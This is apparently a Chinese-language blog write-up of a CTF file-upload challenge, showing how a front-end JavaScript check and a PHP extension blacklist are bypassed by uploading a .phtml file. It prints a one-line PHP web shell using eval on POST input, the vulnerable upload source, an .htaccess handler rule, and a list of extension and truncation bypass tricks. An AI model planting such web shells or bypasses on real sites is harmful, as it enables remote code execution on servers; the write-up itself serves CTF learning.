简单的上传题,考察绕过前端Js验证,phtml拓展名的应用

打开题目点亮小灯泡后可以看到一个上传点

传一个php测试一下:

发现有文件拓展名检查,F12发现是Js前端验证:

审查元素直接删掉,继续上传PHP文件测试:

发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下:

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

再次上传:

上传成功,获得Flag

做完之后还在想是不是也可以通过其他拓展名来绕过,Shell连上之后看了下源代码和.htaccess文件发现这道题就是考察phtml的

上传点的源码如下:

<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) { //这里不出所料,过滤了常见的php文件拓展名
exit('nonono~ Bad file!');
} $new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name; if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
} ?>

再看看.htaccess文件:

<FilesMatch \.phtml$>
SetHandler application/x-httpd-php
</FilesMatch>

最后总结一下CTF文件上传题中常用的php拓展名:

  • 利用中间件解析漏洞绕过检查,实战常用
  • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
  • %00截断绕过
  • php3文件
  • php4文件
  • php5文件
  • php7文件
  • phtml文件
  • phps文件
  • pht文件

晚点写一篇文件上传漏洞的总结吧,就这样,啥也不是。

最新文章

  1. Bundle savedInstanceState的作用
  2. 记录把方法添加到 JavaScript 对象不明白的地方
  3. Oracle触发器(trigger):view,schema,database
  4. ffmpeg 频中分离 video audio 截取片断
  5. MSXML insertBefore(IXMLDOMNode *newChild, VARIANT refChild) 传参
  6. windows2008(64位)下iis7.5中的url伪静态化重写(urlrewrite)
  7. .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  8. 详解EBS接口开发之销售订单导入
  9. sql面试 查找每个班级的前5名学生(取分类数据的前几条数据)
  10. JDK设计模式之——装饰者模式
  11. jmeter(高并发测试)
  12. linux下执行.sh文件的方法和语法
  13. mybatis 插入返回自增后的id
  14. JSON中的{}与[]的区别
  15. css语法和基本知识
  16. 第7月第26天 iOS httpserver
  17. Android安卓手机游戏开发
  18. smtpclient 邮件发送测试
  19. zoj3228 Searching the String AC自动机查询目标串中模式串出现次数(分可覆盖,不可覆盖两种情况)
  20. 农民工自学java到找到工作的前前后后

热门文章

  1. windows下Nginx+RTMP部署
  2. 打破你的认知!Java空指针居然还能这样玩,90%人不知道…
  3. C#LeetCode刷题-并查集
  4. C#LeetCode刷题之#605-种花问题( Can Place Flowers)
  5. Vuex mapGetter的基本使用
  6. golang 的 string包
  7. jQuery的小测试
  8. go语言gRPC系列(三) - 使用grpc-gateway同时提供HTTP和gRPC服务
  9. Go 编译器内部知识:向 Go 添加新语句-第 2 部分
  10. Ubuntu图形桌面切换到命令行界面